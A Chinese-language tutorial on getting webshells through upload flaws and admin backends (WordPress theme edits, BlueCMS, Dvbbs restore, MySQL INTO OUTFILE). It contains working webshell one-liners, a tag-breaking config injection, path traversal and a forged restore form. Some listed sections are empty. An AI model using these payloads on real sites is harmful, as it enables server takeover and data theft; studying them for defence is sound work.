Abstract: 总结文件上传漏洞,包括常规的上传绕过,编辑器漏洞,各种获取webshell的手段。

Table of Contents

  1. 文件上传漏洞总结
    1. 常规的上传绕过
      1. 前期工作
      2. 根据类型运用具体方法绕过
    2. 编辑器漏洞
    3. 获取 webshell 的手段
      1. 通过文件上传漏洞和编辑器漏洞上传 webshell
        1. 直接上传获得 webshell
        2. 添加修改上传类型
      2. 后台获取 webshell 常用方法
        1. 利用后台管理功能写入 webshell
        2. 利用后台管理向配置文件写 webshell
        3. 利用后台数据库备份及恢复获得 webshell
        4. 利用数据库压缩功能
        5. asp+mssql 系统
        6. php+mysql 系统

文件上传漏洞总结

常规的上传绕过

前期工作

判断类型

根据类型运用具体方法绕过

编辑器漏洞

获取 webshell 的手段

通过文件上传漏洞和编辑器漏洞上传 webshell

直接上传获得 webshell

phpjsp 程序比较常见,直接在管理界面上传 .php.jsp 类型。

添加修改上传类型

大多数系统是允许添加上传类型,登录后台可以添加相应类型的 webshellasp 后台可以添加 asaasP.aspasp 类型的 webshellphp 系统的后台,可以添加 .php.未知文件类型

后台获取 webshell 常用方法

利用后台管理功能写入 webshell

打开管理功能,编辑 php 文件,把小马写入。这种方法难在确认小马所在路径上。

  1. wordpress 后台登入后,进入主题修改里面,在 404.php 文件里加上小马,根据浏览器的 url ,拼凑路径,/themes/popularis/404.php 。然后通过两次安装相同的插件,系统就会报出已在 /var/www/html/wp-content/plugins 安装的错误,来确定根目录。最后我们把整个路径拼接起来,即访问,http://YouIp/wp-content/themes/popularis/404.php。整个过程要多注意细节,多尝试。

  2. BlueCMS 后台登入后,进入管理界面,在 html 编辑功能中,右击编辑字体可以进入到编辑页面,url 中存在着文件的路径,可以用 file=../../../../../../../../../../../etc/passwd 的方法来查看是否可行,输入后服务器目录中 /etc/passwd 显示出来,可以通过这种方法确定路径。

    一般情况会在网站根目录下存在 admin 文件夹和普通用户的执行文件,admin 文件夹里面存放着管理员登录后的执行文件,这个我们可以通过 url 判断,比如 www.xxx.org/admin/xxx.php 。我们可以以普通用户查看网页,在网页找到某个 abc.php 文件,然后让 file=../abc.php看是否成功,不成功的话可以继续尝试 file=../../abc.php。显示成功后,把一句话木马加上。然后用菜刀按照上次确定的路径连接即可。

    除此之外,还可以用 burpsuite 抓包方法创建 .php文件,在管理界面,编辑执行文件,点击提交时,用软件抓包,修改文件名为 xxx.php ,把文件内容改为一句话木马。之后在通过 index.html 文件找到文件路径。

利用后台管理向配置文件写 webshell

利用 <%%>' 等构造小马程序的配置文件,配置文件保存为 conf.asp

1
2
3
4
5
<%
name = abcdefg
addr = xxxxxxx
ip = 1111111
%>

可以修改 name 的值保存。我们可以这样输入 name 的值 abcdef %> <% @eval request("cmd")',第一个 %> 和前面的构成闭合,' 会注释掉第一行后面的内容,文本最后一个 %>@eval 前面的 <% 构成闭合。只有一次尝试机会,构造错误,网站会崩。

利用后台数据库备份及恢复获得 webshell

利用后台对 access 数据库的”备份数据库“或”恢复数据库“功能,”备份的数据库路径“等变量没有过滤导致可以把任意文件后缀改为 asp ,从而获得 webshellmssql 版程序直接应用 access 代码,同样适用。备份网站 asp 文件为其他后缀如 txt 文件,可以查看并获得网页源码。从而会获得更多程序信息增加获得 webshell机会。

利用数据库压缩功能

将数据的防下载失效从而使插入数据库的小马成功运行,在友情链接添加的 url 写上 <%eval request("cmd")%>,提交后,在数据库操作中压缩数据库,可以成功压缩出 asp 文件。

asp+mssql 系统

动网 mssql 版,可以直接本地提交来备份的,首先在发帖那上传一个写有 asp 代码的假图片,然后记住其上传路径。写一个本地提交的表单,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<head>
<title>asp+mssql 系统获取 webshell</title>
</head>
<body>
<form action=http://yoursite/bbs/admin_dta.asp? action=RestoreData&act=Restore method="post">
<p>已上传文件的位置:<input name="Dbpath" type="text" size="80"></p>
<p>要复制到的位置:<input name="backpath" type="text" size="80"></p>
<p><input type="submit" value="提交"></p>
</form>
</body>
</html>

另存为 .html 本地执行,把假图片上传路径填在“已上传文件的位置”那里,想要备份的 webshell 的相对路径填写在“要复制到的位置”那里,提交就得到了 webshell。

php+mysql 系统

后台需要有 mysql 数据查询功能,就可以利用它执行 SELECT ... INTO OUTFILE 查询输出 php 文件,因为所有的数据是存放在 mysql 里的,所以可以通过正常手段把 webshell 代码插入 mysql 在利用 SELECT ... INTO OUTFILE 语句导出 shell。在 mysql 操作里输入,如下命令:

1
SELECT 0x3C3F6576616C28245F504F53545B615D293B3F3E FROM mysql.user INTO OUTFILE "路径"

就可以获得一个 <?eval($_POST[a]);?> 的小马。

参考文章

后台拿webshell的常用方法总结

Fckeditor漏洞总结

文件上传漏洞总结